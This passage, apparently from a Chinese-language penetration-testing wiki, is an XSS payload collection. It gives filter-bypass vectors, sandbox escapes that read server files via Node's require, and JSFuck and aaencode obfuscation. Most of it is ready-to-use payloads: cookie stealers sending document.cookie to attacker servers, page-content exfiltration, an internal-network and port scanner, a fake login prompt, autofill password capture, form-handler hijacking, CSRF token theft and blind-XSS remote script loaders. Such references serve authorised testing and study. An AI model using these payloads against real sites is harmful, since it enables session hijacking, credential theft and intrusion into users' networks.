contact[email] onfocus=javascript:alert('xss') autofocus a=a&form_type[a]aaa
成对 "Key","Value" 将被回显如下:
{" onfocus=javascript:alert('xss') autofocus a"=>"a"}
然后,onfocus 属性将被插入,XSS 就会发生。
特殊组合
<iframe/src="data:text/html,<svg onload=alert(1)>">
<input type=image src onerror="prompt(1)">
<svg onload=alert(1)//
<img src="/" =_=" title="onerror='prompt(1)'">
<img src='1' onerror='alert(0)' <
<script x> alert(1) </script 1=2
<script x>alert('XSS')<script y>
<svg/onload=location=`javas`+`cript:ale`+`rt%2`+`81%2`+`9`;//
<svg////////onload=alert(1)>
<svg id=x;onload=alert(1)>
<svg id=`x`onload=alert(1)>
<img src=1 alt=al lang=ert onerror=top[alt+lang](0)>
<script>$=1,alert($)</script>
<script ~~~>confirm(1)</script ~~~>
<script>$=1,\u0061lert($)</script>
<</script/script><script>eval('\\u'+'0061'+'lert(1)')//</script>
<</script/script><script ~~~>\u0061lert(1)</script ~~~>
</style></scRipt><scRipt>alert(1)</scRipt>
<img src=x:prompt(eval(alt)) onerror=eval(src) alt=String.fromCharCode(88,83,83)>
<svg><x><script>alert('1')</x>
<iframe src=""/srcdoc='<svg onload=alert(1)>'>
<svg><animate onbegin=alert() attributeName=x></svg>
<img/id="alert('XSS')\"/alt=\"/\"src=\"/\"onerror=eval(id)>
<img src=1 onerror="s=document.createElement('script');s.src='http://xss.rocks/xss.js';document.body.appendChild(s);">
(function(x){this[x+`ert`](1)})`al`
window[`al`+/e/[`ex`+`ec`]`e`+`rt`](2)
document['default'+'View'][`\u0061lert`](3)
302 响应中通过 header 注入 的 XSS
如果你发现可以 inject headers in a 302 Redirect response,你可以尝试 make the browser execute arbitrary JavaScript。这并非容易,因为现代浏览器在 HTTP 响应状态码为 302 时不会解释 HTTP 响应体,所以单纯的 cross-site scripting payload 是无效的。
在 this report 和 this one 中,你可以阅读如何在 Location header 中测试多种协议,并查看是否有任一协议允许浏览器检查并执行 body 内的 XSS payload。
已知的协议示例: mailto://, //x:1/, ws://, wss://, empty Location header, resource://.
仅字母、数字和点
如果你能指定将被 javascript 执行的 callback,且该 callback 仅限使用这些字符(字母、数字和点)。Read this section of this post 以了解如何滥用此行为。
适用于 XSS 的有效 <script> Content-Types
(From here) 如果你尝试以像 application/octet-stream 这样的 content-type 加载 script,Chrome 会抛出以下错误:
Refused to execute script from ‘https://uploader.c.hc.lc/uploads/xxx' because its MIME type (‘application/octet-stream’) is not executable, and strict MIME type checking is enabled.
唯一支持 Chrome 执行已加载脚本的 Content-Type 是位于 const kSupportedJavascriptTypes 中的那些,来自 https://chromium.googlesource.com/chromium/src.git/+/refs/tags/103.0.5012.1/third_party/blink/common/mime_util/mime_util.cc
const char* const kSupportedJavascriptTypes[] = {
"application/ecmascript",
"application/javascript",
"application/x-ecmascript",
"application/x-javascript",
"text/ecmascript",
"text/javascript",
"text/javascript1.0",
"text/javascript1.1",
"text/javascript1.2",
"text/javascript1.3",
"text/javascript1.4",
"text/javascript1.5",
"text/jscript",
"text/livescript",
"text/x-ecmascript",
"text/x-javascript",
};
Script Types to XSS
(来自 here) 那么,哪些类型可以被指定来加载脚本?
<script type="???"></script>
答案是:
- module (默认,无需解释)
- webbundle: Web Bundles 是一个功能,允许你将一堆数据(HTML、CSS、JS…)打包到一个
.wbn文件中。
<script type="webbundle">
{
"source": "https://example.com/dir/subresources.wbn",
"resources": ["https://example.com/dir/a.js", "https://example.com/dir/b.js", "https://example.com/dir/c.png"]
}
</script>
The resources are loaded from the source .wbn, not accessed via HTTP
- importmap: 允许改进 import 语法
<script type="importmap">
{
"imports": {
"moment": "/node_modules/moment/src/moment.js",
"lodash": "/node_modules/lodash-es/lodash.js"
}
}
</script>
<!-- With importmap you can do the following -->
<script>
import moment from "moment"
import { partition } from "lodash"
</script>
此行为在 this writeup 中被利用:通过将库重映射为 eval,滥用它可以触发 XSS。
- speculationrules: 此功能主要用于解决由预渲染引起的一些问题。它的工作方式如下:
<script type="speculationrules">
{
"prerender": [
{ "source": "list", "urls": ["/page/2"], "score": 0.5 },
{
"source": "document",
"if_href_matches": ["https://*.wikipedia.org/**"],
"if_not_selector_matches": [".restricted-section *"],
"score": 0.1
}
]
}
</script>
Web Content-Types 导致 XSS
(来自 here) 以下内容类型可在所有浏览器中执行 XSS:
- text/html
- application/xhtml+xml
- application/xml
- text/xml
- image/svg+xml
- text/plain (?? 不在列表中,但我想我在一次 CTF 中见过这个)
- application/rss+xml (off)
- application/atom+xml (off)
在其他浏览器中,其他 Content-Types 也可以用来执行任意 JS,参见: https://github.com/BlackFan/content-type-research/blob/master/XSS.md
xml 内容类型
如果页面返回 text/xml 内容类型,可以指定命名空间并执行任意 JS:
<xml>
<text>hello<img src="1" onerror="alert(1)" xmlns="http://www.w3.org/1999/xhtml" /></text>
</xml>
<!-- Heyes, Gareth. JavaScript for hackers: Learn to think like a hacker (p. 113). Kindle Edition. -->
特殊替换模式
当使用类似 "some {{template}} data".replace("{{template}}", <user_input>) 的写法时,攻击者可以使用 special string replacements 来尝试绕过某些防护: "123 {{template}} 456".replace("{{template}}", JSON.stringify({"name": "$'$`alert(1)//"}))
例如在 this writeup,这被用来在脚本内转义一个 JSON 字符串并执行任意代码。
Chrome 缓存导致 XSS
XS Jails Escape
如果你只能使用有限的一组字符,请查看这些针对 XSJail 问题的其他可行解决方案:
// eval + unescape + regex
eval(unescape(/%2f%0athis%2econstructor%2econstructor(%22return(process%2emainModule%2erequire(%27fs%27)%2ereadFileSync(%27flag%2etxt%27,%27utf8%27))%22)%2f/))()
eval(unescape(1+/1,this%2evalueOf%2econstructor(%22process%2emainModule%2erequire(%27repl%27)%2estart()%22)()%2f/))
// use of with
with(console)log(123)
with(/console.log(1)/index.html)with(this)with(constructor)constructor(source)()
// Just replace console.log(1) to the real code, the code we want to run is:
//return String(process.mainModule.require('fs').readFileSync('flag.txt'))
with(process)with(mainModule)with(require('fs'))return(String(readFileSync('flag.txt')))
with(k='fs',n='flag.txt',process)with(mainModule)with(require(k))return(String(readFileSync(n)))
with(String)with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)with(mainModule)with(require(k))return(String(readFileSync(n)))
//Final solution
with(
/with(String)
with(f=fromCharCode,k=f(102,115),n=f(102,108,97,103,46,116,120,116),process)
with(mainModule)
with(require(k))
return(String(readFileSync(n)))
/)
with(this)
with(constructor)
constructor(source)()
// For more uses of with go to challenge misc/CaaSio PSE in
// https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#misc/CaaSio%20PSE
如果 所有东西在执行不受信任的代码之前都是 undefined(例如在 this writeup)就可以从“无中生有”生成有用的对象来滥用任意不受信任代码的执行:
- 使用 import()
// although import "fs" doesn’t work, import('fs') does.
import("fs").then((m) => console.log(m.readFileSync("/flag.txt", "utf8")))
- 间接访问
require
According to this 模块被 Node.js 包装在一个函数中,如下:
;(function (exports, require, module, __filename, __dirname) {
// our actual module code
})
因此,如果我们可以从该模块调用另一个函数,就可以在该函数中使用 arguments.callee.caller.arguments[1] 来访问 require:
;(function () {
return arguments.callee.caller.arguments[1]("fs").readFileSync(
"/flag.txt",
"utf8"
)
})()
与前面的示例类似,可以通过 use error handlers 来访问模块的 wrapper 并获取 require 函数:
try {
null.f()
} catch (e) {
TypeError = e.constructor
}
Object = {}.constructor
String = "".constructor
Error = TypeError.prototype.__proto__.constructor
function CustomError() {
const oldStackTrace = Error.prepareStackTrace
try {
Error.prepareStackTrace = (err, structuredStackTrace) =>
structuredStackTrace
Error.captureStackTrace(this)
this.stack
} finally {
Error.prepareStackTrace = oldStackTrace
}
}
function trigger() {
const err = new CustomError()
console.log(err.stack[0])
for (const x of err.stack) {
// use x.getFunction() to get the upper function, which is the one that Node.js adds a wrapper to, and then use arugments to get the parameter
const fn = x.getFunction()
console.log(String(fn).slice(0, 200))
console.log(fn?.arguments)
console.log("=".repeat(40))
if ((args = fn?.arguments)?.length > 0) {
req = args[1]
console.log(req("child_process").execSync("id").toString())
}
}
}
trigger()
混淆与高级绕过
- 同一页面的不同混淆: https://aem1k.com/aurebesh.js/
- https://github.com/aemkei/katakana.js
- https://javascriptobfuscator.herokuapp.com/
- https://skalman.github.io/UglifyJS-online/
- http://www.jsfuck.com/
- 更复杂的 JSFuck: https://medium.com/@Master_SEC/bypass-uppercase-filters-like-a-pro-xss-advanced-methods-daf7a82673ce
- http://utf-8.jp/public/jjencode.html
- https://utf-8.jp/public/aaencode.html
- https://portswigger.net/research/the-seventh-way-to-call-a-javascript-function-without-parentheses
//Katana
<script>
([,ウ,,,,ア]=[]+{}
,[ネ,ホ,ヌ,セ,,ミ,ハ,ヘ,,,ナ]=[!!ウ]+!ウ+ウ.ウ)[ツ=ア+ウ+ナ+ヘ+ネ+ホ+ヌ+ア+ネ+ウ+ホ][ツ](ミ+ハ+セ+ホ+ネ+'(-~ウ)')()
</script>
//JJencode
<script>$=~[];$={___:++$,$:(![]+"")[$],__$:++$,$_$_:(![]+"")[$],_$_:++$,$_$:({}+"")[$],$_$:($[$]+"")[$],_$:++$,$_:(!""+"")[$],$__:++$,$_$:++$,$__:({}+"")[$],$_:++$,$:++$,$___:++$,$__$:++$};$.$_=($.$_=$+"")[$.$_$]+($._$=$.$_[$.__$])+($.$=($.$+"")[$.__$])+((!$)+"")[$._$]+($.__=$.$_[$.$_])+($.$=(!""+"")[$.__$])+($._=(!""+"")[$._$_])+$.$_[$.$_$]+$.__+$._$+$.$;$.$=$.$+(!""+"")[$._$]+$.__+$._+$.$+$.$;$.$=($.___)[$.$_][$.$_];$.$($.$($.$+"\""+$.$_$_+(![]+"")[$._$_]+$.$_+"\\"+$.__$+$.$_+$._$_+$.__+"("+$.___+")"+"\"")())();</script>
//JSFuck
<script>
(+[])[([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]((![]+[])[+!+[]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+!+[]]+(!![]+[])[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]]]+[+[]]+([][([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+([][[]]+[])[+!+[]]+(![]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!![]+[])[+!+[]]+([][[]]+[])[+[]]+([][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]]+[])[!+[]+!+[]+!+[]]+(!![]+[])[+[]]+(!+[]+[][(![]+[])[+[]]+([![]]+[][[]])[+!+[]+[+[]]]+(![]+[])[!+[]+!+[]]+(!+[]+[])[+[]]+(!+[]+[])[!+[]+!+[]+!+[]]+(!+[]+[])[+!+[]]])[+!+[]+[+[]]]+(!![]+[])[+!+[]]]+[])[[+!+[]]+[!+[]+!+[]+!+[]+!+[]+!+[]]])()
</script>
//aaencode
゚ω゚ノ = /`m´)ノ ~┻━┻ / /*´∇`*/["_"]
o = ゚ー゚ = _ = 3
c = ゚Θ゚ = ゚ー゚ - ゚ー゚
゚Д゚ = ゚Θ゚ = (o ^ _ ^ o) / (o ^ _ ^ o)
゚Д゚ = {
゚Θ゚: "_",
゚ω゚ノ: ((゚ω゚ノ == 3) + "_")[゚Θ゚],
゚ー゚ノ: (゚ω゚ノ + "_")[o ^ _ ^ (o - ゚Θ゚)],
゚Д゚ノ: ((゚ー゚ == 3) + "_")[゚ー゚],
}
゚Д゚[゚Θ゚] = ((゚ω゚ノ == 3) + "_")[c ^ _ ^ o]
゚Д゚["c"] = (゚Д゚ + "_")[゚ー゚ + ゚ー゚ - ゚Θ゚]
゚Д゚["o"] = (゚Д゚ + "_")[゚Θ゚]
゚o゚ =
゚Д゚["c"] +
゚Д゚["o"] +
(゚ω゚ノ + "_")[゚Θ゚] +
((゚ω゚ノ == 3) + "_")[゚ー゚] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
((゚ー゚ == 3) + "_")[゚ー゚ - ゚Θ゚] +
゚Д゚["c"] +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
゚Д゚["o"] +
((゚ー゚ == 3) + "_")[゚Θ゚]
゚Д゚["_"] = (o ^ _ ^ o)[゚o゚][゚o゚]
゚ε゚ =
((゚ー゚ == 3) + "_")[゚Θ゚] +
゚Д゚.゚Д゚ノ +
(゚Д゚ + "_")[゚ー゚ + ゚ー゚] +
((゚ー゚ == 3) + "_")[o ^ _ ^ (o - ゚Θ゚)] +
((゚ー゚ == 3) + "_")[゚Θ゚] +
(゚ω゚ノ + "_")[゚Θ゚]
゚ー゚ += ゚Θ゚
゚Д゚[゚ε゚] = "\\"
゚Д゚.゚Θ゚ノ = (゚Д゚ + ゚ー゚)[o ^ _ ^ (o - ゚Θ゚)]
o゚ー゚o = (゚ω゚ノ + "_")[c ^ _ ^ o]
゚Д゚[゚o゚] = '"'
゚Д゚["_"](
゚Д゚["_"](
゚ε゚ +
゚Д゚[゚o゚] +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(゚ー゚ + ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
(゚ー゚ + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) - ゚Θ゚) +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
゚ー゚ +
(o ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
゚Θ゚ +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
(c ^ _ ^ o) +
゚Д゚[゚ε゚] +
゚Θ゚ +
((o ^ _ ^ o) + (o ^ _ ^ o)) +
゚ー゚ +
゚Д゚[゚ε゚] +
゚ー゚ +
((o ^ _ ^ o) - ゚Θ゚) +
゚Д゚[゚ε゚] +
(゚ー゚ + ゚Θ゚) +
゚Θ゚ +
゚Д゚[゚o゚]
)(゚Θ゚)
)("_")
// It's also possible to execute JS code only with the chars: []`+!${}
XSS 常见 payloads
多个 payloads 合并为一个
Iframe 陷阱
使用户在页面内导航而不离开 iframe,并窃取其行为(包括通过表单发送的信息):
获取 Cookies
<img src=x onerror=this.src="http://<YOUR_SERVER_IP>/?c="+document.cookie>
<img src=x onerror="location.href='http://<YOUR_SERVER_IP>/?c='+ document.cookie">
<script>new Image().src="http://<IP>/?c="+encodeURI(document.cookie);</script>
<script>new Audio().src="http://<IP>/?c="+escape(document.cookie);</script>
<script>location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.location.href = 'http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie</script>
<script>document.write('<img src="http://<YOUR_SERVER_IP>?c='+document.cookie+'" />')</script>
<script>window.location.assign('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['assign']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>window['location']['href']('http://<YOUR_SERVER_IP>/Stealer.php?cookie='+document.cookie)</script>
<script>document.location=["http://<YOUR_SERVER_IP>?c",document.cookie].join()</script>
<script>var i=new Image();i.src="http://<YOUR_SERVER_IP>/?c="+document.cookie</script>
<script>window.location="https://<SERVER_IP>/?c=".concat(document.cookie)</script>
<script>var xhttp=new XMLHttpRequest();xhttp.open("GET", "http://<SERVER_IP>/?c="%2Bdocument.cookie, true);xhttp.send();</script>
<script>eval(atob('ZG9jdW1lbnQud3JpdGUoIjxpbWcgc3JjPSdodHRwczovLzxTRVJWRVJfSVA+P2M9IisgZG9jdW1lbnQuY29va2llICsiJyAvPiIp'));</script>
<script>fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net', {method: 'POST', mode: 'no-cors', body:document.cookie});</script>
<script>navigator.sendBeacon('https://ssrftest.com/x/AAAAA',document.cookie)</script>
tip
如果 cookie 上设置了 HTTPOnly 标志,你 无法从 JavaScript 访问 cookies。但如果你足够幸运,这里有绕过此保护的一些方法。
窃取页面内容
var url = "http://10.10.10.25:8000/vac/a1fbf2d1-7c3f-48d2-b0c3-a205e54e09e8"
var attacker = "http://10.10.14.8/exfil"
var xhr = new XMLHttpRequest()
xhr.onreadystatechange = function () {
if (xhr.readyState == XMLHttpRequest.DONE) {
fetch(attacker + "?" + encodeURI(btoa(xhr.responseText)))
}
}
xhr.open("GET", url, true)
xhr.send(null)
查找内部 IP 地址
<script>
var q = []
var collaboratorURL =
"http://5ntrut4mpce548i2yppn9jk1fsli97.burpcollaborator.net"
var wait = 2000
var n_threads = 51
// Prepare the fetchUrl functions to access all the possible
for (i = 1; i <= 255; i++) {
q.push(
(function (url) {
return function () {
fetchUrl(url, wait)
}
})("http://192.168.0." + i + ":8080")
)
}
// Launch n_threads threads that are going to be calling fetchUrl until there is no more functions in q
for (i = 1; i <= n_threads; i++) {
if (q.length) q.shift()()
}
function fetchUrl(url, wait) {
console.log(url)
var controller = new AbortController(),
signal = controller.signal
fetch(url, { signal })
.then((r) =>
r.text().then((text) => {
location =
collaboratorURL +
"?ip=" +
url.replace(/^http:\/\//, "") +
"&code=" +
encodeURIComponent(text) +
"&" +
Date.now()
})
)
.catch((e) => {
if (!String(e).includes("The user aborted a request") && q.length) {
q.shift()()
}
})
setTimeout((x) => {
controller.abort()
if (q.length) {
q.shift()()
}
}, wait)
}
</script>
Port Scanner (fetch)
const checkPort = (port) => { fetch(http://localhost:${port}, { mode: "no-cors" }).then(() => { let img = document.createElement("img"); img.src = http://attacker.com/ping?port=${port}; }); } for(let i=0; i<1000; i++) { checkPort(i); }
Port Scanner (websockets)
var ports = [80, 443, 445, 554, 3306, 3690, 1234];
for(var i=0; i<ports.length; i++) {
var s = new WebSocket("wss://192.168.1.1:" + ports[i]);
s.start = performance.now();
s.port = ports[i];
s.onerror = function() {
console.log("Port " + this.port + ": " + (performance.now() -this.start) + " ms");
};
s.onopen = function() {
console.log("Port " + this.port+ ": " + (performance.now() -this.start) + " ms");
};
}
Short times indicate a responding port Longer times indicate no response.
查看 Chrome 中被封禁端口的列表 here 和在 Firefox 中的列表 here.
请求凭证的框
<style>::placeholder { color:white; }</style><script>document.write("<div style='position:absolute;top:100px;left:250px;width:400px;background-color:white;height:230px;padding:15px;border-radius:10px;color:black'><form action='https://example.com/'><p>Your sesion has timed out, please login again:</p><input style='width:100%;' type='text' placeholder='Username' /><input style='width: 100%' type='password' placeholder='Password'/><input type='submit' value='Login'></form><p><i>This login box is presented using XSS as a proof-of-concept</i></p></div>")</script>
捕获自动填充的密码
<b>Username:</><br>
<input name=username id=username>
<b>Password:</><br>
<input type=password name=password onchange="if(this.value.length)fetch('https://YOUR-SUBDOMAIN-HERE.burpcollaborator.net',{
method:'POST',
mode: 'no-cors',
body:username.value+':'+this.value
});">
当在密码字段中输入任何数据时,用户名和密码会被发送到攻击者的服务器;即使客户端选择了保存的密码而没有手动输入,凭证仍会被 ex-filtrated。
劫持表单处理器以窃取凭证 (const shadowing)
如果一个关键的处理器(例如 function DoLogin(){...})在页面中较晚声明,而你的 payload 提前运行(例如通过 inline JS-in-JS sink),先用相同的名字定义一个 const 来抢占并锁定该 handler。之后的 function 声明无法重新绑定一个 const 名称,从而让你的 hook 保持控制:
const DoLogin = () => {
const pwd = Trim(FormInput.InputPassword.value);
const user = Trim(FormInput.InputUtente.value);
fetch('https://attacker.example/?u='+encodeURIComponent(user)+'&p='+encodeURIComponent(pwd));
};
注意事项
- 这依赖于执行顺序:你的注入必须在合法声明之前执行。
- 如果你的 payload 被包裹在
eval(...)中,const/let绑定不会成为全局变量。使用动态<script>注入技术,参见章节 “Deliverable payloads with eval(atob()) and scope nuances”,以确保真正的全局、不可重新绑定的绑定。 - 当关键字过滤阻止代码时,结合使用 Unicode 转义的标识符或
eval(atob('...'))传送,如上所示。
Keylogger
Just searching in github I found a few different ones:
- https://github.com/JohnHoder/Javascript-Keylogger
- https://github.com/rajeshmajumdar/keylogger
- https://github.com/hakanonymos/JavascriptKeylogger
- You can also use metasploit
http_javascript_keylogger
Stealing CSRF tokens
<script>
var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open('get','/email',true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name="csrf" value="(\w+)"/)[1];
var changeReq = new XMLHttpRequest();
changeReq.open('post', '/email/change-email', true);
changeReq.send('csrf='+token+'&email=test@test.com')
};
</script>
窃取 PostMessage 消息
<img src="https://attacker.com/?" id=message>
<script>
window.onmessage = function(e){
document.getElementById("message").src += "&"+e.data;
</script>
滥用 Service Workers
访问 Shadow DOM
Polyglots
盲 XSS payloads
你也可以使用: https://xsshunter.com/
"><img src='//domain/xss'>
"><script src="//domain/xss.js"></script>
><a href="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">Click Me For An Awesome Time</a>
<script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//0mnb1tlfl5x4u55yfb57dmwsajgd42.burpcollaborator.net/scriptb");a.send();</script>
<!-- html5sec - Self-executing focus event via autofocus: -->
"><input onfocus="eval('d=document; _ = d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')" autofocus>
<!-- html5sec - JavaScript execution via iframe and onload -->
"><iframe onload="eval('d=document; _=d.createElement(\'script\');_.src=\'\/\/domain/m\';d.body.appendChild(_)')">
<!-- html5sec - SVG tags allow code to be executed with onload without any other elements. -->
"><svg onload="javascript:eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')" xmlns="http://www.w3.org/2000/svg"></svg>
<!-- html5sec - allow error handlers in <SOURCE> tags if encapsulated by a <VIDEO> tag. The same works for <AUDIO> tags -->
"><video><source onerror="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- html5sec - eventhandler - element fires an "onpageshow" event without user interaction on all modern browsers. This can be abused to bypass blacklists as the event is not very well known. -->
"><body onpageshow="eval('d=document; _ = d.createElement(\'script\');_.src=\'//domain\';d.body.appendChild(_)')">
<!-- xsshunter.com - Sites that use JQuery -->
<script>$.getScript("//domain")</script>
<!-- xsshunter.com - When <script> is filtered -->
"><img src=x id=payload== onerror=eval(atob(this.id))>
<!-- xsshunter.com - Bypassing poorly designed systems with autofocus -->
"><input onfocus=eval(atob(this.id)) id=payload== autofocus>
<!-- noscript trick -->
<noscript><p title="</noscript><img src=x onerror=alert(1)>">
<!-- whitelisted CDNs in CSP -->
"><script src="https://cdnjs.cloudflare.com/ajax/libs/angular.js/1.6.1/angular.js"></script>
<script src="https://ajax.googleapis.com/ajax/libs/angularjs/1.6.1/angular.min.js"></script>
<!-- ... add more CDNs, you'll get WARNING: Tried to load angular more than once if multiple load. but that does not matter you'll get a HTTP interaction/exfiltration :-]... -->
<div ng-app ng-csp><textarea autofocus ng-focus="d=$event.view.document;d.location.hash.match('x1') ? '' : d.location='//localhost/mH/'"></textarea></div>
<!-- Payloads from https://www.intigriti.com/researchers/blog/hacking-tools/hunting-for-blind-cross-site-scripting-xss-vulnerabilities-a-complete-guide -->
<!-- Image tag -->
